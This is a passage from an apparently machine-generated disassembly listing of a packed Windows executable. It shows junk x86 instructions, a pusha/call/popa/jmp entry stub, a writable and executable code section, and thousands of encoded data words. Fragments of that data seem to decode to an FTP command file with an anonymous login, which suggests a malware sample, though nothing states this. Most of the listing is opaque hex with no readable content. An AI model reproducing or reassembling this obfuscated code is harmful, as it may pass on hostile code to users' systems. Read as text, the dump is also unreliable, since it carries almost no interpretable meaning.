ecx add eax, 0A4A35802h inc ebx push 0B6D8243Ch sbb al, 0B8h dec ecx add eax, 10C45DA1h mov cl, 0CBh adc al, 0A3h db 3Eh and eax, 17D4A9DBh push eax xor edx, [ebp+4E28C0C7h] db 67h xchg eax, esp test [ecx], edi pop ebp sbb [ebp-2C2B5EE7h], al sub ch, dl cmp [ebp-1CD343ADh], cl inc ecx and [esi], dh lodsd adc ah, al or [eax+62h], al loop loc_4028E0 mov dword ptr [edi], 0C167A578h push esi add dh, [ebx-77h] pop ebp xor [ecx], edx cmp al, 3 xchg eax, edi db 26h adc eax, 7124031Ah dec ebp loc_4028E0: ; CODE XREF: start-1773Aj adc eax, 8BC070CBh hlt ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 2A89h dd 3CADC75h, 5C56179Fh, 64945A46h, 0C6534EFh, 0FFFC4D83h dd 0C2295F72h, 0F356E049h, 551C9D5Fh, 1178526Fh, 19B95014h dd 5AED7908h, 658D0882h, 0F0B8C4CCh, 4C0D26C7h, 6A0AC60Dh dd 0E763504h, 0F847128h, 8A4C58B6h, 840AE98Bh, 750D7188h dd 0C64F0E1Ch, 0C30E243Ch, 73EA4529h, 0A33B2380h, 61E64AA4h dd 0B6E86D01h, 3C187AEEh, 3B2A31DFh, 0A8620AA4h, 0ED9E971h dd 966A6E20h, 0C71882BAh, 1B09B456h, 0F138B8D2h, 72CE31B2h dd 4230E860h, 74284E3Dh, 8063FE99h, 7AA59CE8h, 2440D86Ch dd 326AE701h, 20BF71C2h, 7D8382E2h, 0B23556C1h, 0F350700Bh dd 8915AAABh, 69C3241Dh, 4EEF860Fh, 0EE7D2321h, 0BB9D02h dd 118AEF4Dh, 0CB1D284h, 14C1EEAEh, 0CDC0FF41h, 870FC23Bh dd 7625935Ah, 5BF7CEC7h, 489C52EEh, 524E28CCh, 474D871h dd 9E8DAA0Bh, 80899148h, 0CB7B803Bh, 518A2C74h, 6C4D016Bh dd 3BFAB8B0h, 1477C711h, 8AFCB282h, 2DA43492h, 16469008h dd 76011340h, 804141F5h, 0D4183039h, 16C5D6FFh, 69D08C3h dd 0C17204FCh, 5C7E570h, 0E671531Ch, 0D2A35062h, 850BD1FDh dd 6E3CCDB0h, 7010BFE1h, 59A5A50Fh, 0BBBA35Ah, 4055EBA5h dd 0E4FF7988h, 37548E8h, 26A142DFh, 333D3313h, 0C677246h dd 9D2C6F39h, 5A67C854h, 730B3AFAh, 0AB4DB2C2h, 0DEB00C0h dd 0AC6E1D39h, 0A29BB360h, 4D1B830h, 14A293E1h, 0B6446503h dd 83155CDAh, 5C21255Ah, 20D9FE55h, 0BCAC4BC4h, 25FF1387h dd 0FD656A64h, 0EC6814F8h, 4DCE86FCh, 9D19BBB7h, 0A42D8849h dd 22749271h, 0C6041398h, 0D04715Dh, 4810578Ch, 0EAE30374h dd 0D20C04B8h, 0B41205E3h, 5A15133h, 57E40411h, 97596CC5h dd 0AACB6C1Eh, 6517EBB4h, 0DCC5A7A3h, 5F2BC36Fh, 514C31Ch dd 36A51A95h, 0AD338FFh, 3DEE1679h, 487BE2Dh, 47058488h dd 0C6825804h, 8AF47202h, 23C6F245h, 18204512h, 530D3792h dd 85558D57h, 180AB660h, 0C1013BC3h, 0C82B1D77h, 2A6CBC8Dh dd 20B82E41h, 0D98B2400h, 2C846867h, 848089DEh, 4242AAF3h dd 0FF42288Ah, 5FD02A60h, 1AE3805Bh, 749CFAECh, 7AF38DE9h dd 56C46943h, 2376D55Fh, 1DE8FD74h, 971EB556h, 239E3456h dd 3AF9363Bh, 5D68E3FCh, 0D827DED8h, 828E5C5Eh, 2728D5Ah dd 0F6118B66h, 164918C2h, 1005FA9Eh, 0A005948Ah, 20908864h dd 1AA867F5h, 0BD9F0211h, 1C201D1Ah, 168FA3FCh, 81931CA0h dd 5C3C26h, 49EB27BFh, 0B25D615h, 4197241h, 3AAA5A1Bh dd 80C8804Bh, 5B8820C1h, 1F2C4988h, 72611618h, 7A0B0413h dd 534E0E77h, 20E91D81h, 4C6AE0EBh, 59BE4A79h, 0A023264Eh dd 0CDFD6A12h, 59A20908h, 3C48FC89h, 68DDD32Fh, 0B4240631h dd 632D2197h, 7456DFC2h, 21B4B40Ah, 508C8E2Dh, 1FA6B35Eh dd 0CD843DFCh, 321C590Fh, 0C79D0736h, 40A3C32Ch, 77E00482h dd 86670722h, 5FB0EF2Ch, 56971675h, 13F1E373h, 0DED14839h dd 0C86CD167h, 16D03DC8h, 70B40B77h, 1AB9302Dh, 20621C10h dd 83BEB803h, 830F05C6h, 0B856F0E6h, 68EC6073h, 6F794040h dd 0A3A614DCh, 8E70FC1Ch, 0F402D8A3h, 0F85A25ECh, 0A3447006h dd 3CDCDBF0h, 62F410E8h, 18D0A1C0h, 802D0C8Dh, 73830A1h dd 22EBD688h, 2B77E114h, 668C0C50h, 7224005Ch, 15AB0766h dd 738DEB14h, 462D5EC0h, 920C2913h, 411830FEh, 0F28B0B10h dd 190C712Bh, 0C208805Ah, 0EEC157FCh, 0CE8B0F00h, 69FC7A8Bh dd 0F7044EC9h, 0BF604B44h, 5D018C8Dh, 0A8AB9944h, 75828915h dd 0C130C8Bh, 0F808E006h, 0C12B7F75h, 3F0575F9h, 0B805F49h dd 76CF3B0Ch, 82129303h, 3B04134Ch, 750803C1h, 1EE9648h dd 7320F983h, 0B99ABF1Ch, 8DEFD300h, 0F704014Ch, 7C21D700h dd 9FE44B0h, 752B5C75h, 0EB390221h, 0E0C18324h, 2DDF1EFBh dd 0B0BC8C21h, 24F3A24Eh, 479A106h, 8B085170h, 8955B17Ch dd 0F0040A6Ch, 585D0308h, 0B8080DF8h, 1FB8B8Ch, 4F04FFC1h dd 673FFF83h, 5F1A867Bh, 18CFBF66h, 6CEC2397h, 2B453934h dd 11E7B52Ch, 558960A1h, 5A1749F8h, 0BA6CA3Bh, 0F3890576h dd 7141CA96h, 4077FB1Bh, 0FA3B403Eh, 8B2C0276h, 0CE84BFFAh dd 8B16D2BEh, 512DBE51h, 67BAE7BDh, 21D261EAh, 1176DC54h dd 0BDD41EFDh, 0F69421E2h, 0A75173BDh, 4916BF52h, 0B4A2FBEh dd 873041Ch, 0CC91119Ch, 0D5EC4C6Fh, 33390926h, 7544EC66h dd 8BCE75C9h, 5329F9B2h, 97260BA7h, 0E712F89h, 5417789h dd 100E3B16h, 0CFC36375h, 0A70B0407h, 0F4D8800h, 0B888C1FEh dd 8625730Bh, 460F2C3Bh, 403B0E43h, 0D3CF8B80h, 976EB5Ch dd 0C50D195Ah, 0B181448Dh, 29EB1809h, 1610246Ch, 19E04F8Dh dd 590B25DFh, 7E2D0F04h, 0D8848D42h, 4E3809B7h, 4501548Bh dd 891A89F0h, 0AB19135Ch, 0FA3CA356h, 6376DAA1h, 17DF9E48h dd 0DEC0D8Bh, 883D8B0Dh, 0E1C19AC0h, 5948030Fh, 332B520Ch dd 92272123h, 0FF515305h, 321FE7D7h, 9E11C6Bh, 0E6D0850h dd 104039F8h, 88A48316h, 3C57756Ch, 482FFE0Fh, 48190A43h dd 43792A84h, 608313E0h, 11B6FE04h, 30788324h, 8E536CC9h dd 0C702C10h, 0C412ED5Ah, 0A87E1009h, 8B8DF44Dh, 4F2B115h dd 0C5923280h, 28B6C8CBh, 114C3B70h, 8D5104ECh, 68511448h dd 6B4339E3h, 1685B1D9h, 2FA00DFFh, 0F4F4053Bh, 0FFC535CCh dd 3A969D14h, 0D10D8908h, 1C0BEB4Ch, 851AA396h, 0AC983589h dd 14CB6A5Bh, 2F677B66h, 0BA8B368h, 0B62C823Ch, 1748861Bh dd 74F076C4h, 496AE617h, 0E7D34E0h, 0FF04CE83h, 4D83EED3h dd 75068E86h, 0EA10EBF4h, 33C8E026h, 0BAE8D3F6h, 5A340C0Eh dd 744A69A1h, 87FC08Ch, 4C8B1973h, 3B2CE14Bh, 23002B23h dd 75CF0BFEh, 36C3830Bh, 789A3B14h, 0B8E77218h, 0B797507h dd 0D83BDA8Bh, 0D9154726h, 0E6EBE205h, 597519C2h, 117324E0h dd 8407B83h, 781379CFh, 0B4EDEB29h, 16267537h, 2FDD1B0Dh dd 5F86EE9Eh, 0D8CA3091h, 1CDB5C85h, 0C2146174h, 59733439h dd 89105BC0h, 43588B01h, 0C7C238A8h, 334033D0h, 0B61D89BDh dd 8B14E2A5h, 9BFA16C5h, 2D384AC7h, 908C268Bh, 0B809BB6h dd 50884490h, 12BC8B37h, 55117058h, 8304DDE7h, 84C0FC65h dd 0D60B4448h, 750B8B58h, 918B1714h, 5C197A3Bh, 3C981CECh dd 23FE018Bh, 74D70B39h, 0D8884CE9h, 0FF673380h, 58A8915Ch dd 4C76D84Dh, 75CE57B8h, 17660D5Fh, 64206Ah, 7CC9855Fh dd 0BE1D105h, 8BF7EB47h, 0F9548B20h, 2B0A0C43h, 70F17FE6h dd 4FEC17Bh, 0FE834E04h, 0F8707E3Fh, 0D8F73B5Eh, 17B0D9Bh dd 8E612478h, 2B7D2320h, 54967A11h, 169C3823h, 0EC01F3D3h dd 44885C23h, 0FE037089h, 0EADD750Fh, 0EC019243h, 31EB0B21h dd 2B9D171Eh, 0A13695B9h, 192132E1h, 0AC362967h, 662CFD98h dd 888A4685h, 7AC0E38Bh, 0F88604h, 0AFB89569h, 90CE087Ah dd 369484E2h, 7CA9E1C7h, 0C4262F1h, 6D22A5CEh, 0C76479C2h dd 11FE1E06h, 9B297D0Bh, 0B0599C4h, 11DC8800h, 668ADB62h dd 2D8C6C77h, 6F0A3B09h, 7C09168Fh, 2FEB16AEh, 8D0DF028h dd 41B68D4Eh, 68047B09h, 0ADB6BCB1h, 0B0BE16F3h, 0CE3709EEh dd 743AB06Ah, 0A89110Bh, 0FC038B89h, 8279A3B2h, 0D103F075h dd 0A10122C5h, 38FC3212h, 0B00E8B9Fh, 0B0798D21h, 1B753E0Fh dd 0F21D3B1Ah, 4B336748h, 0A4B43B91h, 6BFB06CAh, 88911C0h dd 8D04428Dh, 8702B708h dd 0C4AAE80Dh, 5D30FF1Dh, 8D4C3075h, 7250474Dh, 1836ED63h dd 97D45788h, 0C73B5878h, 0AF88744Ch, 6FC02B9Ch, 8FCCF3Dh dd 7241C468h, 453B08BFh, 348D30E0h, 9CEB8781h, 46890033h dd 6A2A7410h, 30AB6804h, 0B2D36890h, 5C5FFF4Ch, 0C20C3019h dd 0D61076AAh, 4BFCDA64h, 337C3625h, 0C538244Eh, 47E0B89h dd 6E6205FFh, 0DB9A4541h, 5121675Fh, 8B57DFB0h, 41C8D871h dd 0DB330819h, 8F4FC593h, 0C33643E0h, 0C0691B37h, 635A4681h dd 826C30FBh, 40EAB045h, 402B108h, 4A27CD26h, 85FB2C1Eh dd 0DFE7C133h, 0B40C790Ch, 0E4686633h, 76A18B9Fh, 0C0D1ED30h dd 8D693527h, 70550097h, 77FA5480h, 0B1478D3Ch, 0F2184877h dd 7E884383h, 8D0BF427h, 8306FC88h, 0F0FC40C7h, 0E7142D7h dd 88005EFh, 80C70448h, 0A20F73E8h, 56D30514h, 18F02C62h dd 0C7487696h, 0C4F54E2h, 0FC71BEC8h, 26725F01h, 8DACC189h dd 8630C4Ah, 168F9C08h, 42449E64h, 0E39EBC13h, 43468A40h dd 0BC86C8Ah, 7AC08433h, 434E8880h, 2B090375h, 62660478h dd 68B2CB8Bh, 6A337EBBh, 0D2ABD896h, 0B03B1534h, 68420470h dd 30D15464h, 0E0FE0314h, 54358B67h, 58680BB8h, 0FF8A0ED3h dd 296167D6h, 68507440h, 2D10BC48h, 0A073468h, 6ED0B4A3h dd 0B84DA3D6h, 510B3ABCh, 0FF166583h, 0B3D34D0h, 0B8A10E74h dd 5305C210h, 0FD1811D3h, 2803B518h, 78B078C5h, 9D9CC33Ah dd 0DFD495F8h, 0B8576EB9h, 12567A8Fh, 0C0D98B53h, 0C6F71417h dd 8D49CD03h, 69921024h, 6F75D2C0h, 92D521EBh, 74531CE9h dd 68B2541h, 75C31F29h, 0F05AEBh, 0E3835175h, 0BC0D7403h dd 2F1DF220h, 0C1651C46h, 5F5E5B4Ch, 29B141C3h, 3A691274h dd 8A7EB0h, 5EBBD490h, 6C2E3AEEh, 0FA2EE218h, 785B2ACAh dd 89D7D352h, 0DA5BAF63h, 1683063Ah, 0DEF3C683h, 1E3F2CCFh dd 75160C3Eh, 0EB0439C6h, 0CBE28118h, 9B8CCC2h, 0B000F30Eh dd 0B6D23304h, 55E9E753h, 16040A16h, 855F0789h, 0B0C5F875h dd 0A3A98575h, 70CFE126h, 23F91CA8h, 0DC3D082Ah, 57467AD0h dd 923A5740h, 0A535DE4Dh, 34724717h, 62E4DA98h, 23D01D0Eh dd 53E322EBh, 579CE64Dh, 22389C7Eh, 524C701h, 398578DCh dd 7E147D0Dh, 0ADDC3610h, 591D09FDh, 0C4AC3F4Ch, 2E2DC45h dd 1C16C61Dh, 0FC26619Dh, 0C6C948E7h, 1A8938D4h, 44D32DAFh dd 0FB6A209Ah, 5B73202Ch, 7A4C2EFFh, 0FBB82469h, 878BF820h dd 0B9E4326Eh, 68E89C5Fh, 1B690414h, 0B1C4FFECh, 0E7A7DC41h dd 7D13EB1Ah, 179D45F8h, 388B9611h, 74DC6770h, 5A8B6645h dd 21CE61DCh, 0F4BC5775h, 0E778B34Dh, 0ACBA51Ah, 18F08B43h dd 0F5ACD84Ah, 0F6327400h, 74040D45h, 1C3EB140h, 0CBB27863h dd 7F0BD53Bh, 32CEDA1Eh, 852170A9h, 9CE6008Fh, 23FFC83Ah dd 0EE207EC7h, 363FB320h, 16D3DC8Bh, 12CEB3E0h, 0B256CEB6h dd 0DF0B7DDEh, 6456B474h, 0AC67E496h, 8F9C5D74h, 475B3C2h dd 6EB03C2h, 28858CF3h, 411D2068h, 6DC8D5D1h, 28B25ABFh dd 0CB68C871h, 5D6971A7h, 89B4785h, 0C656D285h, 314CFFF7h dd 0B27B386Ch, 49E8B15Eh, 0F32E2E86h, 755E0B0Ch, 0B81E2B05h dd 85ACC283h, 8C79E447h, 65723B0Fh, 5AE30E7Ch, 0D8729E04h dd 2352A283h, 0B88EDFDFh, 76D0F84Ah, 4AC83E49h, 384A4C1Eh dd 700C49E0h, 0EB4A304Ah, 35225CF7h, 25917BDFh, 3FF7DF1Bh dd 6CBAFE5h, 949E039Ch, 0E7848C79h, 7A749E7Ch, 57DF236Ch dd 0FF65096Bh, 0E7D0F0A2h, 0F09EDC03h, 58DFF588h, 1FEB4C50h dd 58584C00h, 2CD0ED4Bh, 0BB96890h, 0B0037388h, 0A7DF1ED1h dd 0DF352229h, 1B2991FBh, 5BF9FDDFh, 0C067204h, 9E1403E7h dd 2C24791Ch, 479E34E7h, 0DADFD588h, 72601FF1h, 3E76805h dd 888C9E78h, 0FFD8DFD5h, 9A804725h, 0E7D70075h, 291589FFh dd 3292E8Bh, 6E757280h, 16D6974h, 72652065h, 2C726F72h dd 600D65B7h, 4F4C54EEh, 1153532Fh, 30E3Ah, 474E4953h dd 440B00BCh, 12414D4Fh, 5280113Bh, 38323036h, 202D08B0h dd 62614BB0h, 6F746C70h, 6E69200Bh, 61025669h, 0C07A696Ch dd 6165680Dh, 0E837BC70h, 6EE83727h, 3D746F2Ch, 677504E1h dd 16735958h, 23636170h, 0B7B662Eh, 69776F6Ch, 61617938h dd 6E6E6F06h, 0B0363E37h, 0FB647473h, 708235CEh, 2BC07275h dd 74726976h, 0CE217559h, 632DA533h, 63200B23h, 286C160Ch dd 341727DDh, 0B05FAC5Fh, 0B178652Ah, 58672F5Ch, 74DC4E06h dd 175FEBE2h, 0E0F73931h, 0BB65706Fh, 73318558h, 640FC56Fh dd 63738B65h, 0F338792Bh, 0E124469Ch, 36646581h, 3A57BD19h dd 0C2373F23h, 0C26C756Dh, 0C26874ACh, 716461BFh, 6A6B6321h dd 0B917972Fh, 626434F9h, 2EEE61B7h, 84A27302h, 0E56D7221h dd 40817000h, 6D617267h, 134A2067h, 2F2F366Dh, 0F53930C2h dd 7710B94Fh, 6D162A41h, 2E742E07h, 0FA382BE8h, 677261C1h dd 73286875h, 60965F9Ah, 66592B74h, 6E6EE2C1h, 6F82C567h dd 3A74058Bh, 2658116Fh, 4C7FBC64h, 60E52D4Dh, 1566398Bh dd 73695604h, 2B43AAD0h, 52202B1Bh, 694CE1A0h, 72B46162h dd 0A276879h, 167E73DAh, 160E454Dh, 502F1121h, 0B93A12D4h dd 612EABh, 0E56A3C00h, 25DCE073h, 6C6B582Ch, 3E6E3377h dd 0FFB3C91Eh, 38198738h, 74654701h, 42B1614Ch, 7612B841h dd 0BE504C65h, 707516h, 160F9F13h, 642CA557h, 6597E036h dd 61017373h, 6F426567h, 0F8584178h, 33359873h, 642E321Bh dd 4700163Ah, 0E480EC7h, 0B744812h, 0E3C6C279h, 863755CCh dd 1E561C0Eh, 557750E0h, 1C57140Eh, 0D43B5014h, 57228755h dd 1D50E80Eh, 74C354ECh, 0F850CE57h, 6657702Eh, 5754E157h dd 0E15746C3h, 4AC3563Ah, 56568756h, 1C56600Eh, 7438566Ah dd 56707C56h, 90E15686h, 56A6C356h, 0E56B687h, 0D02D56C0h dd 0F0033C9Bh, 28CFFCF3h, 79598C1Ch, 64E7707Ch, 4E795A9Eh dd 9E2AE73Ch, 0FC087814h, 0CFF0E358h, 0C6D43CE2h, 0AAC7B8F3h dd 389A1E59h, 0F3965782h, 3CBACFA8h, 0EAF3D6C8h, 1A1CFECFh dd 4E347958h, 7C9E64E7h, 0EEA89679h, 56108501h, 0F13007E6h dd 3B91080h, 9E09E713h, 0D047917h, 0C9E39E7h, 0E7340B79h dd 7B029E73h, 773DE303h, 72729263h, 0B7606669h, 75455355h dd 0A7E12D52h, 41630230h, 77726464h, 4C4611DBh, 62F287E9h dd 6C0FD141h, 637213B0h, 0D0B705Eh, 96636C5Fh, 0A7BF7A6h dd 4F77098Bh, 88097417h, 745EE563h, 0E9B01D69h, 11B67065h dd 2F7C6FDAh, 673F068Dh, 646F4D05h, 46218575h, 4E038D69h dd 964F89DDh, 65823943h, 2FD46854h, 4645669Ch, 2F7CEE78h dd 0D44D8D9Ah, 54233FBFh, 436B0614h, 39EDEE6Fh, 9D754DE1h dd 8B49F38Ah, 455A7968h, 0F02BE441h, 8C4473AFh, 5B3C8EA7h dd 4B2CC96Fh, 454E16F6h, 57A0F94Ch, 5F4D3253h, 6241C205h dd 537423C1h, 656F6079h, 6859536Dh, 6E3AE553h, 655255B0h dd 0F0435A67h, 79654B0Bh, 8853C50Dh, 8EC1565Ah, 79456575h dd 4F11E575h, 0E01EE0DEh, 5644410Eh, 49504113h, 0F1E1DB59h dd 8B676148h, 8C13CE98h, 0E184CC53h, 6E49707Dh, 0ABFB1D99h dd 6D6DBA85h, 2D7322D6h, 5644BD6Eh, 32735963h, 8937DB8Bh dd 0A0B56968h, 3E549CE3h, 12655BA8h, 7593419Dh, 0DE853926h dd 6E551627h, 64CB7468h, 7011383Eh, 1B2ED7CDh, 49B235E5h dd 0BE2ACE46h, 8FE7C146h dd 670B1727h, 0D6194173h, 4EC8577Ah, 81439AC5h, 6F547252h dd 13855A4Dh, 6FF97942h, 0CF2E7579h, 99B6A917h, 0DF23EBAh dd 11B6C7D6h, 7E14645Eh, 16C6B40Fh, 0E707954h, 17714888h dd 80B86544h, 0DBE796Fh, 29E8F7BCh, 9DC58756h, 7E1B3FB4h dd 7495B00Ah, 7700986Ch, 0B9D201DDh, 51D3A569h, 6EBB0BDDh dd 3ED075C6h, 0E9A27C71h, 75A56E73h, 89571F11h, 0B2A75043h dd 9F41C50Bh, 4F85150Ch, 0BE74D45h, 0CB41447Fh, 993B80F8h dd 1B4E0E9Dh, 0E3A29D3h, 4D434C83h, 6D395F9Fh, 57670FFCh dd 3C6BA1DFh, 3456C62Dh, 46C06934h, 334A5A10h, 0B966C904h dd 0FA60017Dh, 5E2990Ah, 0E805EBFAh, 708270EBh, 99029895h dd 38FDC399h, 9905C0A9h, 0B95D912h, 3485E912h, 12910006h dd 0A5EA1241h, 87ED1200h, 126A9AE1h, 9AB900E7h, 8DD71262h dd 0CF0574AAh, 0A612C8CEh, 0F36B0BC0h, 6AC097h, 0C091ED3Fh dd 9D5E1AC6h, 707BDC16h, 12C70007h, 0BDDF1254h, 485A009Ah dd 0AA589A78h, 1258FF50h, 8558DF3Fh, 782C580Dh, 122C0E9Bh dd 12000899h, 1A6E1263h, 212975Fh, 0C09AF349h, 68EE1E71h dd 0CB94000Ch, 65CE66CFh, 0F367B0C3h, 0ED12B19Ch, 0C1C9E5h dd 9BF398F3h, 0C0751562h, 9B9E5E14h, 4B9D2B99h, 0DE100019h dd 0CE89F39Dh, 6913CA58h, 5CB1AB3h, 53C226Dh, 1A47B061h dd 12DD1675h, 1B701E6Dh, 9D0110C0h, 10627B17h, 263A1CFh dd 0FFD980A5h, 1B5DF5Eh, 0DE149898h, 62CFC989h, 0CEC886h dd 5E037035h, 0FAA505DEh, 8299FDF4h, 0C8C9A514h, 0CB793CC2h dd 164476EFh, 2C03C965h, 3502417Dh, 60EC591Ch, 118BCEC8h dd 0C0C34B01h, 0C0777B32h, 6776715Ah, 0DE666600h, 0EBC9EDFCh dd 0D8FA00F6h, 0FCEBFDFDh, 992CEAEAh, 0F81605DAh, 9E11FCEDh dd 99D8000Dh, 0EDF0E1DCh, 13BBF1CDh, 0F6D55685h, 0F0D50480h dd 2CF8EBFBh, 117E0EBh, 0C6ABEAEEh, 6199ABAAh, 62CAD8B0h dd 42CEF229h, 0F0FB0B11h, 0F50523F7h, 3C81EAF0h, 0FAF899F7h dd 0C0E93D62h, 0F6F5FAEAh, 0B245B3EAh, 0B77C991Fh, 53FF0785h dd 4172424Dh, 3FC85318h, 879D34CBh, 6202C0h, 43335002h dd 0BC2B9720h, 4B524F00h, 525020h, 4152474Fh, 2E31204Dh dd 4C173058h, 4D4E4116h, 8F0A7602h, 50A2B1CDh, 6B03C257h dd 330F3267h, 330E8141h, 7261312Eh, 23C24D27h, 57995832h dd 325932D4h, 4E0AC116h, 18612054h, 0A623020h, 0A475F932h dd 0EC738B68h, 85D5EB07h, 81FF0C59h, 11040023h, 201B7C0Ah dd 4087D4ECh, 4C006916h, 0CF234B73h, 977F6821h, 0E008821Bh dd 0B8995696h, 0AECD24C8h, 51F6F9Bh, 0DC730077h, 305B743Ah dd 0E5097401h, 879D668Ch, 0CE237D27h, 72E2C1Dh, 0DA2F51FAh dd 2008D8ABh, 3AEFDAE8h, 0B39FCE57h, 101CB03h, 0CB234697h dd 40E70747h, 1670679h, 0DD106507h, 15001F01h, 48E0888Ah dd 4F1C00h, 19810044h, 0E4F27A6Ah, 28021C49h, 742530AFh dd 0AFF7B310h, 0D15CB2E1h, 0B8F575DFh, 0DFB10429h, 0BD07675Ch dd 5C5D319Ch, 3261D101h, 7074377h, 65380036h, 3077B22Eh dd 0B0491BE4h, 79004318h, 683F24h, 0B464FC00h, 41A27763h dd 0CE04DC08h, 63182CF6h, 0DEDE02h, 0F816000Eh, 5E019F1Ch dd 40D72602h, 20B70089h, 11034219h, 746C8BD1h, 7274C4D9h dd 635B2E8Ch, 6B9C8B2Bh, 4ED62547h, 4CC5E50h, 0BD0417E8h dd 1354171Ch, 5C5A542Eh, 0B1596326h, 0C7775C22h, 9D4545CBh dd 5822365h, 0CF030B00h, 879D3837h, 110B80Bh, 507E729h dd 19286A60h, 0B10C0039h, 0A89B11D0h, 4F0BC000h, 5FF52ED9h dd 8A885D60h, 0C91C04EBh, 0C0E89F11h, 48102B3Ch, 0BD1B760h dd 0FCA3F40Ch, 0A03A6074h, 3A13E70Ch, 0CB187A3h, 0E900765Eh dd 8897D138h, 0F004068h, 3EC0009h, 9541079Dh, 4F364014h dd 0C1797C60h, 7FAC7DCh, 0EE7443E7h, 8578A013h, 0AB000513h dd 0E1E9A65Bh, 34F8100Eh, 692F7713h, 138D87A5h, 4023B30Eh dd 8932A0Fh, 3788AD84h, 10B98143h, 1C505EEh, 4E16FFA7h dd 200C8563h, 0DADFFE1h, 0C207A9F3h, 7BD80F05h, 118877Fh dd 840E701Dh, 13CBB90Fh, 6595517Fh, 3A7FAF1Dh, 0E8387402h dd 0F7C6C7Fh, 9A1300EAh, 0CE556FA8h, 13DDE943h, 20A3064Fh dd 8C5E912Fh, 4B015ABDh, 3CD03B7Dh, 75151F12h, 1C2AD602h dd 0E540FD75h, 18973124h, 0CF100373h, 0F8003C08h, 0E7F06871h dd 353180E8h, 4B4F2030h, 322FBEACh, 328F0730h, 30338736h dd 31333361h, 30178EDBh, 987661C4h, 6543766Ch, 0A00B6ECBh dd 9678652Eh, 636582EDh, 176D2C68h, 8266666h, 2576739Ah dd 0B0351B18h, 3E3400h, 646D633Eh, 7074662Eh, 61031ABCh dd 796E6F6Eh, 7339186Dh, 0EFA817BFh, 628C09C8h, 0F81B6767h dd 74586567h, 5F63694Dh, 7F6D3A6Dh, 79628B1Bh, 5FE25411h dd 200BE026h, 0B53A732Dh, 0DF3B3A16h, 64A6BC20h, 206C6517h dd 0C76CF535h, 37320B31h, 9701302Eh, 630D0B31h, 0BF675C3Ah dd 6F6C02E2h, 42CE0067h, 25D0710Fh, 5C166E5Bh, 5C05095Ch dd 68637069h, 659EBEDh, 6613D001h, 1CEC0481h, 33E4FF07h dd 35291863h, 55513DB8h, 39A04969h, 5A544552h, 3F710752h dd 1A026A2Eh, 46702C00h, 0E854524Fh, 26416350h, 0CD51073Ah dd 27F0000Fh, 556D754Ah, 730B8570h, 5402854Eh, 0D0079A69h dd 6F4AA1h, 616B6162h, 4F530033h, 5754460Bh, 5C115541h dd 5C299C6Ah, 0F5C97E3h, 0B6F0207Fh, 7561525Ch, 42A1BADBh dd 0EB652AFFh, 7754557Ah, 6D4E03B0h, 2851019Dh, 7A2075D6h dd 7E1015B1h, 0BC84CE01h, 813BFB10h, 3BBF01CEh, 0F382CE10h dd 10CFAF02h, 9D1A20CAh, 0D768E4AAh, 0D907C72Eh, 0BC0C7C4h dd 0C31D11F9h, 96F204C0h, 8D790BDEh, 0DE8EF908h, 909D8F77h dd 927991E7h, 0A19377DEh, 30793CBh, 8C7A0A9Eh, 0CE9E4B4h dd 2004535Ah, 0D5199305h, 33021EA4h, 0BCD35398h, 68F56C07h dd 7B34069h, 531C3FB1h, 0F0C0B191h, 11076352h, 123CC0CFh dd 0CF13F39Ch, 38183C70h, 104558F7h, 1C1A07CFh, 1B7951D8h dd 9E1CE7A0h, 68787978h, 589E79E7h, 0E7487A79h, 79449EFCh dd 1E134FFh, 0CA6D0402h, 600BC089h, 21827982h, 0A63BAEBEh dd 0A1000BDFh, 81C007A5h, 0E8FCE09Fh, 807E3B40h, 0D2FA82Eh dd 0A3DAA3C1h, 811F87EAh, 0FE400FFEh, 5F2FB58Bh, 0B69E419Fh dd 0E4A2CF0Bh, 0E501DFA2h, 5BA2E8A2h, 5FDD356Ah, 0FEA17E61h dd 0E00551D0h, 705EDA51h, 1DDA5FDAh, 7032DA6Ah, 0DE1CD8D3h dd 312FF9E0h, 0F808397Eh, 7A3EFD03h, 0 dd 1400h dup(?) _text ends ; Section 3. (virtual address 0001A000) ; Virtual size : 00020000 ( 131072.) ; Section size in file : 00011C00 ( 72704.) ; Offset to raw data for section: 00003E00 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 41A000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 00402839 SIZE 000000AD BYTES pusha call sub_43D76D popa jmp loc_40283E start endp ; --------------------------------------------------------------------------- dd 0C88D1500h, 58585B58h, 58585C58h, 58A7A758h, 5858E058h dd 58585858h, 58581858h, 8 dup(58585858h), 5858D858h, 802F958h dd 806AC93Bh, 0A1B1F0AEh, 0D5182AD8h, 0F9B42136h, 0CA6E2A73h dd 6D2EEE3Fh, 0AB85B272h, 5116695Dh, 6D5397A8h, 0CDE1E891h dd 5A83CE92h, 4898A44Ah, 0F24DB446h, 964B9B78h, 37DA191Bh dd 5888D369h, 5E591458h, 26E9C758h, 58585818h, 58585858h dd 5658B858h, 5A595379h, 5880586Fh, 58645858h, 48DA5858h dd 5849CE58h, 58485858h, 58A85858h, 58585858h, 58485848h dd 585A5858h, 58585958h, 58585858h, 58585C58h, 58585858h dd 49B85858h, 585C5858h, 58585858h, 58585A58h, 48585858h dd 58485858h, 48585858h, 58485858h, 58585858h, 58584858h dd 49885858h, 58581458h, 49F85858h, 58599458h, 6 dup(58585858h) dd 49E85858h, 58435458h, 14h dup(58585858h), 3D2C7658h dd 58582C20h, 588EDC58h, 58485858h, 588EDC58h, 585C5858h dd 3 dup(58585858h), 58587858h, 2B3A7638h, 5858582Bh, 48D83058h dd 58A85858h, 5 dup(58585858h), 5858D858h, 393C7698h, 5858392Ch dd 5842E058h, 49D85858h, 5842E058h, 58845858h, 3 dup(58585858h) dd 58581858h, 3C317698h, 58392C39h, 58599458h, 49F85858h dd 58599458h, 58A05858h, 3 dup(58585858h), 58583858h, 3D2A7698h dd 583B3734h, 58434C58h, 49E85858h, 58434C58h, 58A45858h dd 3 dup(58585858h), 58587858h, 3C3D765Ah, 58392C39h, 58581458h dd 49885858h, 58581458h, 59405858h, 3 dup(58585858h), 58587858h dd 58585818h, 65h dup(58585858h), 5859E058h, 699B5858h dd 14D31898h, 19AF5C7Ch, 58585E5Ch, 0D3572C58h, 0D3507C1Ch dd 0D1487C0Ch, 585BE05Ah, 0B9B5858h, 1CD30F0Eh, 3208487Ch dd 485E30A6h, 0A73C4858h, 5858586Dh, 7DD13C58h, 58585858h dd 787C1CD3h, 